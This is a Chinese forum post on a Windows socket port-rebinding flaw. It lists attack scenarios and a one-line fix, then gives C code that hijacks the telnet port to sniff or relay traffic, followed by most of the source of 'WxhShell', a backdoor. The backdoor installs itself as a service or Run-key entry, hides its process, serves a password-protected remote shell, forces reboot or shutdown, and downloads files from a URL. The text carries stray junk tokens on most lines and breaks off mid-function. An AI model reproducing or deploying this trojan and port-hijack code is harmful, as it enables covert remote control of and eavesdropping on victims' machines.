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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u5xU)l3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vGx?m@  
#G'S ve?  
  saddr.sin_family = AF_INET; _myg._[  
F Q8RK~?`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xi '72  
w$w>N(e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [W^6u7~  
Q'n(^tbL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'Qm` A=  
'5|Q<5!o  
  这意味着什么?意味着可以进行如下的攻击: Ss"|1]acP  
&"U9X"8b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zWCW:dI  
V_)5Af3wY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^CowJ(y(  
.Q=2WCv0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jngll  
D8r>a"gx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P<j4\zJ  
Sqp;/&Ji  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q3<bC6$r  
6vD]@AF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fe& t-  
%NF<bEV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w Mlf3Uz  
!Z<mrr;T@  
  #include |i,zY{GI+2  
  #include OqfhCNAY  
  #include Bo\a  
  #include    JcvHJ0X~a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]FY?_DGOA  
  int main() ^4xlZouCb  
  { uR06&SaA>  
  WORD wVersionRequested; .4S^nP  
  DWORD ret; _aXP ;kFMi  
  WSADATA wsaData; .u&&H_ UmE  
  BOOL val; KKeb ioW  
  SOCKADDR_IN saddr; SY!`a:It  
  SOCKADDR_IN scaddr; !SLP8|Cd  
  int err; C:'WX*W  
  SOCKET s; >< <$  
  SOCKET sc; <GL}1W"Ay  
  int caddsize; ql#{=oGDnA  
  HANDLE mt; Q{J"`d2  
  DWORD tid;   ?6gDbE%  
  wVersionRequested = MAKEWORD( 2, 2 ); dXA{+<!!  
  err = WSAStartup( wVersionRequested, &wsaData ); Q%,o8E2~  
  if ( err != 0 ) { _ 6+,R  
  printf("error!WSAStartup failed!\n"); "?2  
  return -1; F]K$u <U  
  } \N# HPrv}  
  saddr.sin_family = AF_INET; ]t. WJC %  
   i# pjv'C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Mr5('9%  
^]#Ptoz^(l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [OFTP#}c  
  saddr.sin_port = htons(23); )1ZJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B|]t\(~$ [  
  { ,(@Y%UW:  
  printf("error!socket failed!\n"); %fn'iKCB  
  return -1; "k\Ff50  
  } JEK%yMj  
  val = TRUE; F"B<R~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Sa h<sb=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6i9Q ,4~  
  { 0UM@L }L  
  printf("error!setsockopt failed!\n"); "W?l R4  
  return -1; x*,q Rew  
  } vxbH^b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }<5\O*kX4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eeI9[lTw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /I`cS%U  
OEy:#9<'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sx)$=~o  
  { KRnB[$3F1  
  ret=GetLastError(); E>l#0Zw  
  printf("error!bind failed!\n"); 2R_opbw  
  return -1; ^G'yaaLXR  
  } haEZp6Z  
  listen(s,2); ~,1-$#R  
  while(1) c"f-$^<  
  { 7(A G]  
  caddsize = sizeof(scaddr); %9~kA5Qj  
  //接受连接请求 KV^:sxU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^-e3=&  
  if(sc!=INVALID_SOCKET) nK?k<  
  { DU*g~{8T$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); + ,vJ7  
  if(mt==NULL) F?RCaj  
  { {Gk}3u/  
  printf("Thread Creat Failed!\n"); uNPD~TYN  
  break; E5Snl#Gl\0  
  } n3HCd- z  
  } _-|yCo  
  CloseHandle(mt); l(k rUv  
  } 0M/\bE G(_  
  closesocket(s); 7)8rc(58  
  WSACleanup(); np'M4^E;  
  return 0; w{YtTZp3  
  }   JL]k:i^`A  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7N}\1Di5  
  { q^jqLT&w  
  SOCKET ss = (SOCKET)lpParam; (04j4teE  
  SOCKET sc; Ru9pb~K  
  unsigned char buf[4096]; 2kp|zX(  
  SOCKADDR_IN saddr; A3 Rm 0  
  long num; %4r!7X|O<  
  DWORD val; =XRgT1>e  
  DWORD ret; |04}zU%N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~Me&cT8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C~ }Wo5  
  saddr.sin_family = AF_INET; xdbu|fC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3-9J "d !  
  saddr.sin_port = htons(23); @ @3)D%h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8CnvvMf  
  { 2t]! {L  
  printf("error!socket failed!\n"); X*>o9J45V  
  return -1; \DcC1W  
  } ys.!S.k+  
  val = 100; RBv=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mk[d7Yt{O  
  { #/XK&(X  
  ret = GetLastError(); }'w^<:RSy  
  return -1; G8 <It5CU  
  } )K\k6HC.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6&OonYsP  
  { uc"[qT(X  
  ret = GetLastError(); My6]k?;}(  
  return -1; J<5vs3[9  
  } vUIK4uR.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,h^;~|GT  
  { <2TB9]2. g  
  printf("error!socket connect failed!\n"); X/;"CM  
  closesocket(sc); R<0!?`b  
  closesocket(ss); ,39$iHk  
  return -1; 3$kv%uf{  
  } x9&tlKKxf  
  while(1) *Y^Y  
  { *\~kjZ 3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 66"ZH,335  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {C0OrO2:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j_ywG{Jk  
  num = recv(ss,buf,4096,0); 2fL88/'  
  if(num>0) I8-&.RE  
  send(sc,buf,num,0); k+m_L{#m5  
  else if(num==0) *>&N t  
  break; !Pi? !  
  num = recv(sc,buf,4096,0); 9V4V}[%  
  if(num>0) v\?\(Y55Y  
  send(ss,buf,num,0); c;t(j'k`  
  else if(num==0) BorfEv} SN  
  break; )H37a  
  } z7l;|T  
  closesocket(ss); .}hZ7>4-  
  closesocket(sc); NM.f0{:cj  
  return 0 ; Kj<<&_B.H  
  } n'ca*E(  
}Bod#|`  
4iPua"8  
========================================================== ;u-< {2P  
dXK~ Z:  
下边附上一个代码,,WXhSHELL Y;/=3T7An  
<hF~L k ,  
========================================================== n5,Pq+[  
8Jy1=R*S  
#include "stdafx.h" \%4+mgiD  
y3o4%K8  
#include <stdio.h> M3ZJt'|  
#include <string.h> [2j (\vC!  
#include <windows.h> H R!>g  
#include <winsock2.h> koWb@V]  
#include <winsvc.h> G'}_ZUy#  
#include <urlmon.h> &LxzAL,3!  
YDzF( ']o:  
#pragma comment (lib, "Ws2_32.lib") sp |y/r#  
#pragma comment (lib, "urlmon.lib")  ?Ge*~d  
m+gG &`&u  
#define MAX_USER   100 // 最大客户端连接数 pvwnza1  
#define BUF_SOCK   200 // sock buffer @okm@6J*X  
#define KEY_BUFF   255 // 输入 buffer 4z 3$  
_~#C $-T  
#define REBOOT     0   // 重启 X9`C2fyVd  
#define SHUTDOWN   1   // 关机 \3:{LOr%*  
"}x70q'>S  
#define DEF_PORT   5000 // 监听端口 {^19.F  
#]\G*>{  
#define REG_LEN     16   // 注册表键长度 \g[f4xAV  
#define SVC_LEN     80   // NT服务名长度 q2U"k  
R\Ynn^w  
// 从dll定义API ?yM/j7Xn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2'^OtM,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i$ZpoM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [t=+$pf(-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;51!a C  
%Ja{IWz9L  
// wxhshell配置信息 E,?aBRxy  
struct WSCFG { 8Carg~T@  
  int ws_port;         // 监听端口 @U.}Ei  
  char ws_passstr[REG_LEN]; // 口令  F-\8f(\  
  int ws_autoins;       // 安装标记, 1=yes 0=no tlxjs]{0E  
  char ws_regname[REG_LEN]; // 注册表键名 I EsD=  
  char ws_svcname[REG_LEN]; // 服务名 {|wTZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,'{B+CHoS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \,#4+&4b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Hlh (k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >5},qs:lZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *M!YQ<7G^d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |/Q."d  
Hf]}OvT>Z  
}; AA%g^PWpR  
LYT<o FE-  
// default Wxhshell configuration xcRrI|?eC  
struct WSCFG wscfg={DEF_PORT, Jz8#88cY  
    "xuhuanlingzhe", tZBE& :l  
    1, UHl/AM> !  
    "Wxhshell", )PNH| h  
    "Wxhshell", 8uD%]k=#!  
            "WxhShell Service", 8;BwzRtgT  
    "Wrsky Windows CmdShell Service", `TR9GWU+B  
    "Please Input Your Password: ", (2\ekct ^  
  1, (>lqp%G~  
  "http://www.wrsky.com/wxhshell.exe", R/FV'qy]  
  "Wxhshell.exe" Tu#k+f*s  
    }; 9@>hm>g.  
_q4dgi z  
// 消息定义模块 CbaAnm1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gY^TBR0?m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (eIxU&o'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y0C<b*!"ST  
char *msg_ws_ext="\n\rExit."; N<r0I-  
char *msg_ws_end="\n\rQuit."; qvE[_1QCc  
char *msg_ws_boot="\n\rReboot..."; ['`'&+x&!  
char *msg_ws_poff="\n\rShutdown..."; xfQ;5n  
char *msg_ws_down="\n\rSave to "; =` >Nfa+,  
F88SV6  
char *msg_ws_err="\n\rErr!"; ~(P\F&A(&  
char *msg_ws_ok="\n\rOK!"; >h-6B=  
.{ Lm  
char ExeFile[MAX_PATH]; Ps5wQaS  
int nUser = 0; YZu# 0)  
HANDLE handles[MAX_USER]; Vk=<,<BB  
int OsIsNt; Vx8.FNJh  
}nERQq&A  
SERVICE_STATUS       serviceStatus; XzFqQ- H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c)~|#v  
X \ZUt >  
// 函数声明 s/|'1E\F  
int Install(void); dOgM9P  
int Uninstall(void); ptL}F~  
int DownloadFile(char *sURL, SOCKET wsh); (:k`wh&  
int Boot(int flag); ]-OkW.8d1  
void HideProc(void); fBh|:2u  
int GetOsVer(void); FOyfk$  
int Wxhshell(SOCKET wsl); g[)hm`{?  
void TalkWithClient(void *cs); 5W '|qmJ  
int CmdShell(SOCKET sock); =umS^fJ5`  
int StartFromService(void); 2*E<G|-F  
int StartWxhshell(LPSTR lpCmdLine); HpSf I7  
lFt{:HfX-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5]ob;tAm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e%7P$.  
[<Puh  
// 数据结构和表定义 #yxYL0CcA:  
SERVICE_TABLE_ENTRY DispatchTable[] = hpKc_|un  
{ *3oQS"8  
{wscfg.ws_svcname, NTServiceMain}, oQB1fs  
{NULL, NULL} iJ#oI@s  
}; QZP;k!"w  
E1[%~Cpw*  
// 自我安装 Ykq }9  
int Install(void) $)a5;--W  
{ X2kLbe  
  char svExeFile[MAX_PATH]; bTKxv<  
  HKEY key; g{{SY5qDj  
  strcpy(svExeFile,ExeFile); ZI]K+jza  
0tyU%z{RV  
// 如果是win9x系统,修改注册表设为自启动 82l";;n4p  
if(!OsIsNt) { gvt4'kp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0kEq|k9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); skArocs  
  RegCloseKey(key); WL]'lSHa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e.h:9` "*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 88U  
  RegCloseKey(key); N=x,96CF  
  return 0; N/.9Aj/h~&  
    } GY :IORuA4  
  } ~<R~Q:T  
} ai2}vR  
else { 0M.[) @  
ZS;kCdL   
// 如果是NT以上系统,安装为系统服务 8\_,Y ji  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AG=1TZI"  
if (schSCManager!=0) >qZRIDE5$  
{ %uMsXa  
  SC_HANDLE schService = CreateService y[eNM6p  
  ( M,lu)~H  
  schSCManager, y5 +&P  
  wscfg.ws_svcname, p 1fnuN |,  
  wscfg.ws_svcdisp, (#BA{9T,^  
  SERVICE_ALL_ACCESS, Dn! V)T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fm{y.URo  
  SERVICE_AUTO_START, Etk<`GRfA  
  SERVICE_ERROR_NORMAL, pswppC6f  
  svExeFile, $nN$"  
  NULL, 9 f+7vCA  
  NULL, S)h1e%f, f  
  NULL, ?os0JQVB  
  NULL, EaL+}/q&  
  NULL 3<lDsb(}0A  
  ); vsR&1hs  
  if (schService!=0) Fv B2y8&W  
  { 93,ExgFt  
  CloseServiceHandle(schService); AS ul  
  CloseServiceHandle(schSCManager); ?whp _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ea/6$f9^  
  strcat(svExeFile,wscfg.ws_svcname); N~YeAe~+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { **[p{R]8o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $S/ 8T  
  RegCloseKey(key); =="SW"vNi  
  return 0; uEY5&wX`  
    } )nVx 2m4  
  } (~4AG \  
  CloseServiceHandle(schSCManager); ]5CFL$_Q{  
} ~*Wb MA  
} MDt4KD+bZ  
.d,Zx  
return 1; To95WG7G  
} 2Ev,dWV  
+!wc(N[(2  
// 自我卸载 xDS9gGr  
int Uninstall(void) &v88x s  
{ \zU R9h  
  HKEY key; Nq8A vBwo4  
cQ%HwYn  
if(!OsIsNt) { v4Gkf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uNDkK o<M  
  RegDeleteValue(key,wscfg.ws_regname); Z )I4U  
  RegCloseKey(key); 1OKJE(T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~<3yTl>  
  RegDeleteValue(key,wscfg.ws_regname); |,crQ'N'  
  RegCloseKey(key); 0rj*SC_  
  return 0; @(L|  
  } x(Z@ R\C-a  
} =>U~ligu  
} 3m'6cMQ  
else { BDg /pDnwg  
ah.Kb(d:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WJWrLu92\U  
if (schSCManager!=0) %|~ UNP$  
{ Y,r2m nq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {zcjTJ=Zt8  
  if (schService!=0) . j },  
  { Q*5d~Yr]R  
  if(DeleteService(schService)!=0) { |k0VJi  
  CloseServiceHandle(schService); V^D#i(5  
  CloseServiceHandle(schSCManager); g}7B0 yo  
  return 0; 0%GWc}o  
  } s&l[GKR  
  CloseServiceHandle(schService); PsVA>Q,4!.  
  } mCo5 Gdt  
  CloseServiceHandle(schSCManager); 6Xa2A 6  
} uBXI*51{  
} b~p <   
_e W*  
return 1; <f%9w]  
} zq#o8))4X  
8~bPoWP  
// 从指定url下载文件 3ml|`S  
int DownloadFile(char *sURL, SOCKET wsh) HD>{UU?  
{ utXcfKdt  
  HRESULT hr; e:]$UAzp  
char seps[]= "/"; ;-F#a+2]!  
char *token; -MZ Eli g  
char *file; K':f!sZ&2  
char myURL[MAX_PATH]; RDbA"e5x  
char myFILE[MAX_PATH]; _gHJ4(?w  
KRQ/wuv  
strcpy(myURL,sURL); |cacMgly  
  token=strtok(myURL,seps); D'X'h}+2  
  while(token!=NULL) y\:2Re/*Jt  
  { {XAKf_Cg  
    file=token; H0S7k`.  
  token=strtok(NULL,seps); VQCPgs  
  } x+&&[>-P  
#'[ f^xgJ  
GetCurrentDirectory(MAX_PATH,myFILE); q:'(1y~  
strcat(myFILE, "\\"); 6m]L{ buP  
strcat(myFILE, file); J';tpr  
  send(wsh,myFILE,strlen(myFILE),0); >Y:ouN~<  
send(wsh,"...",3,0); 8CL05:&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ce:kMkJ  
  if(hr==S_OK) C<pF13*4  
return 0; CfAqMH*ip  
else 0t~--/lA  
return 1; x8H)m+AW  
Hi9]M3Ub  
} ;J:YNup  
Kfi A 7W  
// 系统电源模块 cb+!H>+  
int Boot(int flag) R#t~i&v/  
{ <:p&P  
  HANDLE hToken; /[IK [  
  TOKEN_PRIVILEGES tkp; P_;oSN|>  
LZeR .8XM>  
  if(OsIsNt) { ;rFa I^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $KiA~l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E-/]UH3u H  
    tkp.PrivilegeCount = 1; ;RrfE8mGj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; # a3Q<%V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H/b(dbs  
if(flag==REBOOT) { 7J _H Ox#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k$hWR;U  
  return 0; |^=`ln!  
} Djzb#M'm  
else { 1osI~oNZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \l:n  
  return 0; f?]cW h%  
} )z aMycW  
  } Vq*p?cF .  
  else { @U&|38  
if(flag==REBOOT) { GV9"8M Z6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .sLx6J%  
  return 0; @{a(f;  
} oyHjdPdY#  
else { m'S-h'a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h1BdASn_  
  return 0; N\p3*#M  
} Z d%*,\`S  
} NzEuiI}  
UkdQ#b1  
return 1; [~J4:yDd=  
} N9i>81tY  
:( `Q4D~l  
// win9x进程隐藏模块 .{Xi&[jw  
void HideProc(void) k~?@~xm,R  
{ @a~K#Bvlm  
h_cZ&P|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Ju!2by  
  if ( hKernel != NULL ) xGA%/dy,;  
  { 1.uyu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1*a2s2G '  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SZgH0W("L  
    FreeLibrary(hKernel); |h3 YL!  
  } {30A1>0#P  
6S<pWR~  
return; $FAl9  
} {u:DC4eut  
hGpaHY>My  
// 获取操作系统版本 A_[65'*b  
int GetOsVer(void) =.uE(L`]NA  
{ }NUP[%  
  OSVERSIONINFO winfo; uv@4/M`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !6kLg1  
  GetVersionEx(&winfo); 8\[6z0+;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SDot0`s>  
  return 1; Uzc`,iV$  
  else rod{77  
  return 0; 8U-}%D<a  
} -O ej6sILO  
?&Lb6(}e  
// 客户端句柄模块 /JvNJ f  
int Wxhshell(SOCKET wsl) )37|rB E  
{ C9~CP8  
  SOCKET wsh; LTi0,03l<  
  struct sockaddr_in client; LOp<c<+aW  
  DWORD myID; _/KN98+  
P'g$F<~V  
  while(nUser<MAX_USER) /{Nx%PqL  
{ J3K!@m_\  
  int nSize=sizeof(client); x1TB (^aX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2cww7z/B  
  if(wsh==INVALID_SOCKET) return 1; nzU@}/A/  
ATwPfo8jx@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :HwB+Bjy  
if(handles[nUser]==0) 9XS'5AXN  
  closesocket(wsh); |n~- LH++  
else pN?  
  nUser++; 7^ER?@:W  
  } or0f%wAF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {| Tl3  
D].1X0^hp  
  return 0; :V8 \^  
} Ix}:!L  
Jz3u r)|  
// 关闭 socket Og^b'Kx/  
void CloseIt(SOCKET wsh) r=u>TA$  
{ OJ&~uV>2  
closesocket(wsh); ]m YY1%H8M  
nUser--; 'H97D-86/  
ExitThread(0); n&&X{Rl  
} o@"H3 gz  
G !wFG-Y}  
// 客户端请求句柄 X+iUT  
void TalkWithClient(void *cs) kvKbl;<&#  
{ z`'{l {  
@'dtlY5;  
  SOCKET wsh=(SOCKET)cs; I>:M1Yc0  
  char pwd[SVC_LEN]; f~t*8rG~m  
  char cmd[KEY_BUFF]; b1_HDC(  
char chr[1]; *_@8v?  
int i,j; _},u[+  
.h{`e>d  
  while (nUser < MAX_USER) { `N$<]i]s5  
gLU #\d]  
if(wscfg.ws_passstr) { 9z,V]v=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rtC.!].;%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iE>T5XV8$B  
  //ZeroMemory(pwd,KEY_BUFF); TTu<~GH  
      i=0; !@5B:n*  
  while(i<SVC_LEN) { u|i.6:/=  
fm Fh.m.+N  
  // 设置超时 6/ F]ncwG  
  fd_set FdRead; r;SA1n#  
  struct timeval TimeOut; d'q,:="c  
  FD_ZERO(&FdRead); ?bW|~<X~  
  FD_SET(wsh,&FdRead); u 6;SgPw  
  TimeOut.tv_sec=8; QF Vy2 q  
  TimeOut.tv_usec=0; r,aV11{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XJ.bK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a|{RK}|3  
EN'}+E 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qE!.C}L +  
  pwd=chr[0]; ,~>A>J  
  if(chr[0]==0xd || chr[0]==0xa) { CB\E@u,  
  pwd=0; n](Q)h'nlo  
  break; Jwgd9a5  
  } .gzNdSE  
  i++; ZxLgV$U  
    } .3M=|rE   
]gx]7  
  // 如果是非法用户,关闭 socket CM|?;PBuv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c/%i,N\5  
} cba ~  
^1nQDd*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kj.4Z+^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ET.c8K1f  
\%g# __\  
while(1) { XcD$xFDZ  
#|ETH;HM  
  ZeroMemory(cmd,KEY_BUFF); :/A3l=}iV  
s8Bbe t  
      // 自动支持客户端 telnet标准   D% v{[ KY  
  j=0; U8m/L^zh  
  while(j<KEY_BUFF) { \("|X>00  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C5"=%v[gQv  
  cmd[j]=chr[0]; R9xhO!   
  if(chr[0]==0xa || chr[0]==0xd) { #0GvL=}k  
  cmd[j]=0; * `1W})  
  break; /N>f#:}  
  } Wo+fMn(O  
  j++; sba+J:#w  
    } /?C}PM  
8&t3a+8l  
  // 下载文件 *.qm+#8W  
  if(strstr(cmd,"http://")) { $q%r}Cdg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mO=bq4!  
  if(DownloadFile(cmd,wsh)) .W>LEz'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \W:~;GMeD  
  else _!2bZ:emG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XA PqRJ*Z  
  } mhpaPin*JS  
  else { EVYICR5g  
X+dLk(jI`u  
    switch(cmd[0]) { 1g<jr.  
  -!4Mmp"2@u  
  // 帮助 Jga;nrU  
  case '?': { J B[n]|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uI lm!*0  
    break; F`))qCgg]  
  } OpWTw&B"+  
  // 安装 \%[sv@P9s  
  case 'i': { $S Kax#[  
    if(Install()) _3YZz$07  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jjLx60|{  
    else oU"!"t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~FCkr&Ky3  
    break; \7]0vG  
    } apy9B6%PJ+  
  // 卸载 j AXKp b  
  case 'r': { J;8M. _  
    if(Uninstall()) [C@ |q Ah  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C ^QpVt-T  
    else jTHgh>n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wX/0.aZ|  
    break; lW6$v* s9  
    } xfegi$  
  // 显示 wxhshell 所在路径 EnW}>XN  
  case 'p': { ,r_%p<lOFu  
    char svExeFile[MAX_PATH]; VCf/EkC  
    strcpy(svExeFile,"\n\r"); oyC5M+shP9  
      strcat(svExeFile,ExeFile); VkW N1A  
        send(wsh,svExeFile,strlen(svExeFile),0); |tn.ZEgw3~  
    break; ykMdH:  
    } n[+$a)$8  
  // 重启 sQ"; t=yC  
  case 'b': { }aSTo"~m#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [8%R*}  
    if(Boot(REBOOT)) R^*%yjy9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|`%>&jP  
    else { {wJ8% ;Z7  
    closesocket(wsh); z}.Q~4 f0D  
    ExitThread(0); .s-V:k5  
    } W!jg  
    break; lf2Q  
    } <dd XvUCX  
  // 关机 6>Dm cG:.  
  case 'd': { ag02=}Q'r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "Sb<"$ :  
